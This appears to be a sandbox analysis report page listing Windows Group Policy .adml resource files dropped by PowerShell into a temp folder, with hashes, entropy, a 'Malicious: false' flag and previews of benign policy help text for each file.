Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="ClearRecentProgForNewUserInStartMenu">Clear the recent programs list for new users</string>.. <string id="ClearRecentProgForNewUserInStartMenu_Help">If you enable this policy setting, the recent programs list in the start menu will be blank for each new user.....If you disable or do not configure this policy, the start menu recent programs list will be pre-populated with programs for each new user.</string>.. <string id="NoGamesFolderOnStartMenu">Remove Games link from Start Menu</string>.. <string i

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\SystemRestore.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2647
Entropy (8bit):	4.731629807407312
Encrypted:	false
SSDEEP:	48:cgeD5x8gm8fKJzpQytkh9hyLbSTW3bvkKh+HAskRcHGhwHSbzURJ1amFV:LeD5pm1J+cbeKhjREVbFFV
MD5:	F0306B958EC9DAF0C4E5D2BA8355A02E
SHA1:	970411B4074BB88CDC75E6CA63D83B51FD6220E3
SHA-256:	79B2C3CA033B5CCECB7D24032FFBF7A718EC34BAF4C8BA66E862917337B9FBB5
SHA-512:	32777DE33CE98BE7333D9045D8E1033E629160AD7CC205B6CCA1523F2E6886CBEE20F3682D59D315B949B35481711E8B8A6EA7399BD0137A83496D800BC6882E
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="SR">System Restore</string>.. <string id="SR_DisableConfig">Turn off Configuration</string>.. <string id="SR_DisableConfig_Help">Allows you to disable System Restore configuration through System Protection.....This policy setting allows you to turn off System Restore configuration through System Protection.....System Restore enables users, in the event of a problem, to restore their computers to a previous state without losing personal data files. The behavior of this policy setting depends on the "Turn o

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\TPM.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 text, with very long lines (751), with CRLF line terminators
Category:	dropped
Size (bytes):	19376
Entropy (8bit):	4.677466344688263
Encrypted:	false
SSDEEP:	384:qPHRyQKHBVDkb+wRZtGixXgixyeMJgKzX1SR7YK9q/:qPHgQyPIbBRZtGYXgYYGKUg
MD5:	62D34160550F61471F77F778AA1280CA
SHA1:	2D681645F48460DBA0875917CBF1D2EA0970A161
SHA-256:	62154D9046066523B2833A380FB4A6841AB369D4E7502D1EF8AD93462E0CCE12
SHA-512:	0ACBF5E61FFB9E1F18496F6713F865E392E92CE613CFC143DAF254F63101CB1B0C0FAF16931B111BF1E47E7206B4676079371BCCD6A25543EA6A18AD676B9590
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="ActiveDirectoryBackup_Help">This policy setting allows you to manage the Active Directory Domain Services (AD DS) backup of Trusted Platform Module (TPM) owner information. ....TPM owner information includes a cryptographic hash of the TPM owner password. Certain TPM commands can only be run by the TPM owner. This hash authorizes the TPM to run these commands. ....If you enable this policy setting, TPM owner information will be automatically and silently backed up to AD DS when you use Windows to set or change a TP

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\TabletPCInputPanel.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 text, with very long lines (416), with CRLF line terminators
Category:	dropped
Size (bytes):	14958
Entropy (8bit):	4.684169671948835
Encrypted:	false
SSDEEP:	192:ErZjCAOTCAClCIkwgLtL99S6hOmL0wD4mHAwq8Qh5Kxk4kxgxWx+FNPUX0E:XAZALIYLtL9ILa8blKxk4kxgxWxFkE
MD5:	0F06155D65FCA728F2D46F0A96F4801B
SHA1:	E8D67D09DF0AED3FC5AED0832D901F31830D8A8C
SHA-256:	C170A92E97B43769613F0217D452B39D28A856AD93E95C0CD2E9A40FCC04E6A0
SHA-512:	62DAF44885B775BB39F4E38F5188F0FD2096C78A0F5328451F239D78E4F9325224A8A0AAF769DDA8127CCD879F32F6A012B896E01AABAD8133D738B77B54528D
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="AutoComplete">Turn off AutoComplete integration with Input Panel</string>.. <string id="AutoCompleteExplain">Turns off the integration of application auto complete lists with Tablet PC Input Panel in applications where this behavior is available.....Tablet PC Input Panel is a Tablet PC accessory that enables you to use handwriting or an on-screen keyboard to enter text, symbols, numbers, or keyboard shortcuts.....If you enable this policy, application auto complete lists will never appear next to Input Panel.

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\TabletShell.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (546), with CRLF line terminators
Category:	dropped
Size (bytes):	6673
Entropy (8bit):	4.787936688249674
Encrypted:	false
SSDEEP:	96:LeD5pmXFnAAWTYvS60sTs2ssufgMA7I16D4K9OuNtFV:E6SCKi78DK9XNtn
MD5:	166E80C965CED6606C2DA93D9A03B421
SHA1:	A7651889CBFEF22000E75B348428689C0E755BF7
SHA-256:	88F472A0DA1243EA84662AE4D730D6B86EE53E1901D7CC73EEA724218BD9EBE4
SHA-512:	0CB95E31997AF6E77C155081FCA24FBDE9B401944251ED0D3C04F4A35F017BC3BBB4CFAEEEA8175D56C64CA9352F84DFC45827D76C0DB95CBE314F562C3C4CE0
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="Accessories">Accessories</string>.. <string id="Cursors">Cursors</string>.. <string id="DisableInkball">Do not allow Inkball to run</string>.. <string id="DisableInkball_Help">Prevents start of InkBall game.....If you enable this policy, the InkBall game will not run.....If you disable this policy, the InkBall game will run.....If you do not configure this policy, the InkBall game will run.</string>.. <string id="DisableJournal">Do not allow Windows Journal to be run</string>.. <string id="

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\TaskScheduler.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (579), with CRLF line terminators
Category:	dropped
Size (bytes):	7038
Entropy (8bit):	4.643182607339355
Encrypted:	false
SSDEEP:	192:Ey3uDxqKgSDQ0DiMDoK5DuJW+ibACSYZCn:rWYaQ0Pnu4PjSZ
MD5:	09BB6BBD535E6B16043D7DE703670523
SHA1:	3E7743A2557844CCCC6E5AE42827E676577FE9F4
SHA-256:	00250A97BC62D5C01E534907317937337008B28110DD7AB88A5D32AA347A3B9E
SHA-512:	118B1B0C181AD2DD89955BFDB828E10381F481B81321295AF016A2536B86A26F302F20DFC542974CD512C48F9F2B080CE482D08031BB9B2033328267BF093DD9
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="AllowBrowse">Prohibit Browse</string>.. <string id="AllowBrowseHelp">Limits newly scheduled to items on the user's Start menu, and prevents the user from changing the scheduled program for existing tasks.....This setting removes the Browse button from the Schedule Task Wizard and from the Task tab of the properties dialog box for a task. Also, users cannot edit the "Run" box or the "Start in" box that determine the program and path for a task.....As a result, when users create a task, they must select a progra

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\Taskbar.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 text, with very long lines (325), with CRLF line terminators
Category:	dropped
Size (bytes):	11395
Entropy (8bit):	4.633029483097701
Encrypted:	false
SSDEEP:	192:EytLqsKeNTdPL5M8R1QfkSK1GOROjzazDzLh5/Cbl4Zgx9IQCmJwgjRLEJn:zM8R1QiGwCCDhtS41
MD5:	B04329C131F6270E21143E3A48884E73
SHA1:	21A2CA3E301813810D7B3874D625C4FABC5DD96A
SHA-256:	17A7E0C29F6FAD55F06306ECE4251A6BF7D40BB30C3178385D01CFFC805A1164
SHA-512:	E50307FA3358D4CAC0C2CE8C5DFD568DDC0795E07DD38A5F655C6BF0F2F071B8D5479D6F89483959054B7256E0BCB09631F8E902B64F0F19CBB051030815633E
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="HideSCABattery">Remove the battery meter</string>.. <string id="HideSCABattery_Help">This policy setting allows you to remove the battery meter from the system control area.....If you enable this policy setting, the battery meter is not displayed in the system notification area.....If you disable or do not configure this policy setting, the battery meter is displayed in the system notification area.</string>.. <string id="HideSCANetwork">Remove the networking icon</string>.. <string id="HideSCANetwor

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\TerminalServer-Server.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (495), with CRLF line terminators
Category:	dropped
Size (bytes):	19641
Entropy (8bit):	4.878122311324998
Encrypted:	false
SSDEEP:	384:HTFGnX5V42B4kc7w3p98BlDJQ2yhfOBV41eCFksM08wjblv:HTI5/b2KfSiNbh
MD5:	F835CA2B1226B25600345F974B8706C4
SHA1:	1B7BA254D3835BA025A8D68A8AC757019081AA09
SHA-256:	E827705FA042FDD68C493B5F0159FE68B10F6B310C957A7F23F45F20DB14666E
SHA-512:	183483215CAE2BA72A226AC50F6057D566A23E411C3BAABF0BBBBB6145046E85049F4B526CDA4591C145F6A92AB75567661885EDCECCE13B60EC0C00DD8E28FA
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="TS_APP_COMPATIBILITY">Application Compatibility</string>.. <string id="TS_APP_COMPATIBILITY_Help">Controls application compatibility settings on an RD Session Host server</string>.. <string id="TS_TIME_ZONE">Allow time zone redirection</string>.. <string id="TS_TIME_ZONE_EXPLAIN">This policy setting allows you to specify whether the client computer redirects its time zone settings to the Remote Desktop Services session.....If you enable this policy setting, clients that are capable of time zone redir

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\TerminalServer.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (638), with CRLF line terminators
Category:	dropped
Size (bytes):	127562
Entropy (8bit):	4.836430182678649
Encrypted:	false
SSDEEP:	1536:9h4lfgUCtmBM22pFN8z0u753oq+I/jIqGUZRGUCFUvyP+YA4RhVjn:9hrtHrzGDiI/jIqGYRGQi3Vjn
MD5:	3602B346F09097D79EAA8029915B67F9
SHA1:	4BB802511857288C2ADA07AD532CB19E7CD5CD9D
SHA-256:	FF74BE25815C0CA023FAD48EA35E6FA32566065485534D01842D617EB39F8ACE
SHA-512:	77DDACF30B5D72A159A726FE040218F25D8E902C58CAE6D100F8B01255415C461C55A3645F643FB52D63B8079F0FCE6107CB96358EBBC7141A380D445C4B195A
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="TS_SUPPORTED_Windows8_or_ARM">At least Windows 8 or Windows RT</string>.. <string id="TS_SUPPORTED_Windows8_Server">At least Windows Server 2012 R2</string>.. <string id="TS_SUPPORTED_Windows8_Enterprise_AND_Server"> At least Windows 8 Enterprise or Windows Server 2012 R2</string>.. <string id="TS_SUPPORTED_ONLY_Windows7_OR_SERVER2K8R2">Windows 7 or Windows Server 2008 R2 (and their subsequent Service Packs) only</string>.. <string id="TS_SUPPORTED_ONLY_LEGACY">Windows Server 2008 R2, Windows Se

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\Thumbnails.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2359
Entropy (8bit):	4.864135463263543
Encrypted:	false
SSDEEP:	48:cgeD5x8gm8fKlmesQ6SmH6Se6dSGH6crboeoO6S86Ss6dS6H6cr3DJUlptRdpEFV:LeD5pm5mZymDm8rboB8OwAr3DJUlfv2n
MD5:	9DDDBE09EE87B401376670F58F52B8CB
SHA1:	3E3D3EFB918717C290B5E1FAAA19721160449A05
SHA-256:	36E567DB6F269F42865BC122835CBF10C7DE187AFF70BA93BA81C045486A134A
SHA-512:	10A5388C2C26BCAB4E38A9507A958BA2A33A09184F003632C51C9405376E43CE27E96C3F7812C51766DD71855ACD81F1ACF4B096EA263F44C2B9623663C04738
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="DisableThumbnails">Turn off the display of thumbnails and only display icons.</string>.. <string id="DisableThumbnails_Help">This policy setting allows you to configure how File Explorer displays thumbnail images or icons on the local computer.....File Explorer displays thumbnail images by default. ....If you enable this policy setting, File Explorer displays only icons and never displays thumbnail images.....If you disable or do not configure this policy setting, File Explorer displays only thumbnail images.<

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\TouchInput.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2055
Entropy (8bit):	4.807218997990388
Encrypted:	false
SSDEEP:	48:cgeD5x8gm8fKKU6oYecyziGWMlHqf+encFV:LeD5pm9HAd+FV
MD5:	9562339E02D38BECE2D7D3C89EE47766
SHA1:	1512A1230E2585B62FB78E1EE9E147FBCCF91D8F
SHA-256:	A376991D45DD68CD83E2A76C75F136B75033FDE16297EC2868755268AF2869E2
SHA-512:	531900F6AAADECA8DEF9C70F2E2D9A1A930237EE3E74CB1CF1172A2637DB340382E5108BD138F701CB533643EEA2514C2C43A1CC373B7F1EEB2FF103BCBF4AD5
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="TouchInput">Touch Input</string>.. <string id="TouchInputOff">Turn off Tablet PC touch input</string>.. <string id="TouchInputOff_Help">Turn off Tablet PC touch input....Turns off touch input, which allows the user to interact with their computer using their finger.....If you enable this setting, the user will not be able to produce input with touch. They will not be able to use touch input or touch gestures such as tap and double tap, the touch pointer, and other touch-specific features.....If you disabl

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\UserProfiles.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 text, with very long lines (658), with CRLF line terminators
Category:	dropped
Size (bytes):	43896
Entropy (8bit):	4.667568456685799
Encrypted:	false
SSDEEP:	768:FkIqBn46Y+xwhTjlMIbNzjWtqqnOTLTn8Gu/:Fkze+xwhTjlPWttSvnnA
MD5:	5F55E2D434E9BE9D2AC4108C2AE42106
SHA1:	6785C7EF4F183004F4F9CCF9D383DABF8914BFF3
SHA-256:	D9459CCAD7106CC5A8665076C9D74C39D211D11A6F33870385528389826264D9
SHA-512:	6109AEFDA8D656767F0A00C75F2241A454D85AA51B36338E1F5103A96BD32BB5B6571183132FD2468AE74A298623E7000A6F1C94F5760E55C92EB6DD01537BB0
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="AddAdminGroupToRUP">Add the Administrators security group to roaming user profiles</string>.. <string id="AddAdminGroupToRUP_Help">This policy setting adds the Administrator security group to the roaming user profile share.....Once an administrator has configured a user's roaming profile, the profile will be created at the user's next login. The profile is created at the location that is specified by the administrator.....For the Windows XP Professional and Windows 2000 Professional operating systems, the defa

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\VolumeEncryption.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 text, with very long lines (1087), with CRLF line terminators
Category:	dropped
Size (bytes):	97809
Entropy (8bit):	4.865980267514194
Encrypted:	false
SSDEEP:	1536:yF3hamxu6iF2VflT2VfD7oaV6Z32VfDt2Kn+DZcZy:NYTNR96Zy
MD5:	11CDF6A637203126A5F35982F599C1AF
SHA1:	6E92BB3C55BAD050302EAFD9C7A722798B9FC0F1
SHA-256:	CC9BCBDB2FBBD9B3A529CFEFAEE37231BE9D712840E0FBD456D8AF9947E15F14
SHA-512:	AB39EA7CE5C379C90D4BAF6F4C506CDBDA17F29D75050CA10E713275EFAB609E0FBCD2B08E3D80E3F8EDCB410192B96C272789D10C1B71D9698B58BD75C6FE4A
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="ActiveDirectoryBackup_Help">This policy setting allows you to manage the Active Directory Domain Services (AD DS) backup of BitLocker Drive Encryption recovery information. This provides an administrative method of recovering data encrypted by BitLocker to prevent data loss due to lack of key information. This policy setting is only applicable to computers running Windows Server 2008 or Windows Vista.....If you enable this policy setting, BitLocker recovery information is automatically and silently backed up to AD

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\W32Time.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (721), with CRLF line terminators
Category:	dropped
Size (bytes):	16499
Entropy (8bit):	4.944041721958569
Encrypted:	false
SSDEEP:	384:A/mnOQzg68GwhRsw6uHGtY2PQJyGizYTO2jF4TTt:JnORtuYTOmF4TTt
MD5:	7FAF3A73C8DBAE90E511742BBB51AADD
SHA1:	D651E3B70B5C8A6CE7FDCD92D15189CB6880A361
SHA-256:	B62D8648EB65A947AE783F67A0E3F2276545DF1CD265CF4AA513DC53DF6882E0
SHA-512:	74A1533992353ADFD8E33365AE91DC7CF914A488D5E406D537344FE6F3565AB669DF221082E96DE47E172A4916B695B27499E129BAA9C8FB9B51C9EB264196BD
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="W32TIME_CONFIG_EXPLAIN">This policy setting allows you to specify Clock discipline and General values for the Windows Time service (W32time) for domain controllers including RODCs.....If you enable this policy setting, you can specify the following Clock discipline, General and RODC parameters for this service.....If you disable or do not configure this policy setting, Windows Time service uses the defaults of each of the following parameters.....Several of the following values are scalar, which means that they on

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\WCM.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (583), with CRLF line terminators
Category:	dropped
Size (bytes):	5728
Entropy (8bit):	4.528195330790601
Encrypted:	false
SSDEEP:	96:LeD5pmuOd2s+XGRFUv41c845cJ6RygNEfHZbWvK64kqo5UidD/PPTifE8h2WNOFV:EdOd2/XGbbqcSlNEf5CvWo5Ui9/n+MGW
MD5:	7D5B3A4F151213CB0EFDACFA335A6AA3
SHA1:	F36C9F3F58804077CE1AB9D41B29073D1E988752
SHA-256:	5EC9152E44738D44848AB532D269EC0D51612FD60B5FA8A7A3D53DC0395164A2
SHA-512:	C4DBFA582B75C32016FFE6AF8B5BEBFE2C9DBEB3A80BF1F8319CB1EAF76B043632E0E7A043457263EC41448A74C411920121EB194D04180E712C347F15F27EA7
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>Windows Connection Manager Group Policy Settings</displayName>.. <description>Windows Connection Manager Group Policy Settings</description>.. <resources>.. <stringTable>.. <string id="WCM_Category">Windows Connection Manager</string>.. <string id="WCM_BlockNonDomain">Prohibit connection to non-domain networks when connected to domain authenticated network</string>.. <string id="WCM_BlockNonDomain_Help">This policy setting prevents computers from connecting to both a domain based network and a non-domain based network at the same time... .. If this policy setting is enabled, the computer responds to automatic and manual networ

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\WDI.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (513), with CRLF line terminators
Category:	dropped
Size (bytes):	3666
Entropy (8bit):	4.76342138021097
Encrypted:	false
SSDEEP:	48:cgeD5x8gm8fKMs4jm9y1YJWl5p0BsYlvPB9ZMKFdL5dbsEIqALJ/PUq1XWgV:LeD5pmYs4jkWlnCsKPB9ZRJHYV/PptV
MD5:	3C7A58453A2A54C65A82137819FCBFA2
SHA1:	635B1128546EA8A86DD984ADDE64BA1D0B8961A0
SHA-256:	4A49D6F192FF5E859FE003DB2584049D5F54615F80E5B977156F7D51F4752105
SHA-512:	DD3B7A0BE79E23F4B477080468B74BDA4D23730A2177DC4A092893718B2F0C2192AEB2885C60E0F2DF48AD0AA65E55535A61251325C1DFBB74844C867573139A
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="WdiDpsScenarioDataSizeLimitPolicy">Diagnostics: Configure scenario retention</string>.. <string id="WdiDpsScenarioDataSizeLimitPolicyExplain">This policy setting determines the data retention limit for Diagnostic Policy Service (DPS) scenario data.....If you enable this policy setting, you must enter the maximum size of scenario data that should be retained in megabytes. Detailed troubleshooting data related to scenarios will be retained until this limit is reached.....If you disable or do not configure this p

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\WPN.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (369), with CRLF line terminators
Category:	dropped
Size (bytes):	7410
Entropy (8bit):	4.5477372257913125
Encrypted:	false
SSDEEP:	96:LeD5pmIA4ik0bcMuEB4odMuQ0AuwsurKK4GA1TunDzDsZwuE7MteWQPyqyjV:EQkdMuEWCMuesurKKHKTuAwuE7MIWKxA
MD5:	77C2A2EB749EBCA17124B632612CE191
SHA1:	3B7F2E4594DB1D354755184C0127825F6A81E7D5
SHA-256:	058509712BF20A49CC276BDF4AB6B0CCDC3550501DA0F2C4529E234E9AAE6068
SHA-512:	6FC63B4998C6E746D82F5680FB67BE2CEADC227EFFE5A07DFF1E94E69A1711AD207EA4481DF25E722D57BBBCFD14F4C395C086D06E3071D1237099C8518AB313
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="NotificationsCategory">Notifications</string>.. <string id="NoTileNotification">Turn off tile notifications</string>.. <string id="NoTileNotificationExplain">.. This policy setting turns off tile notifications..... If you enable this policy setting, applications and system features will not be able to update their tiles and tile badges in the Start screen..... If you disable or do not configure this policy setting, tile and badge notifications are enabled and can be turned off b

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\WinCal.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1085
Entropy (8bit):	4.9989682223802285
Encrypted:	false
SSDEEP:	24:2dgeD5eo8gWt4+3Fbef61yIjoCg/IPGISwIIPFV:cgeD5x8gm8fK/DPlEIPFV
MD5:	8D40CA00FF9CB0AEABED1F9B98D06B2B
SHA1:	9B8819C7D0DB7C760990DE409BDE733A8BA179CC
SHA-256:	5D5FD8758FFCD1BCB7A28025E05D5749AC4B691ADF0B9E2589C096B75E5DC5C4
SHA-512:	4978350FE3A30EA539B38C0322D00F6853CE1227FB15859FD98BC8A655B4949E8B633622D41AC22552280624BE5E017A4566198BC6FF896A25A8BA83D8825AA8
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="TurnOffWinCal">Turn off Windows Calendar</string>.. <string id="TurnOffWinCal_Explain">Windows Calendar is a feature that allows users to manage appointments and tasks by creating personal calendars, publishing them, and subscribing to other users calendars.....If you enable this setting, Windows Calendar will be turned off.....If you disable or do not configure this setting, Windows Calendar will be turned on.....The default is for Windows Calendar to be turned on.</string>.. <string id="WinCal">Windows

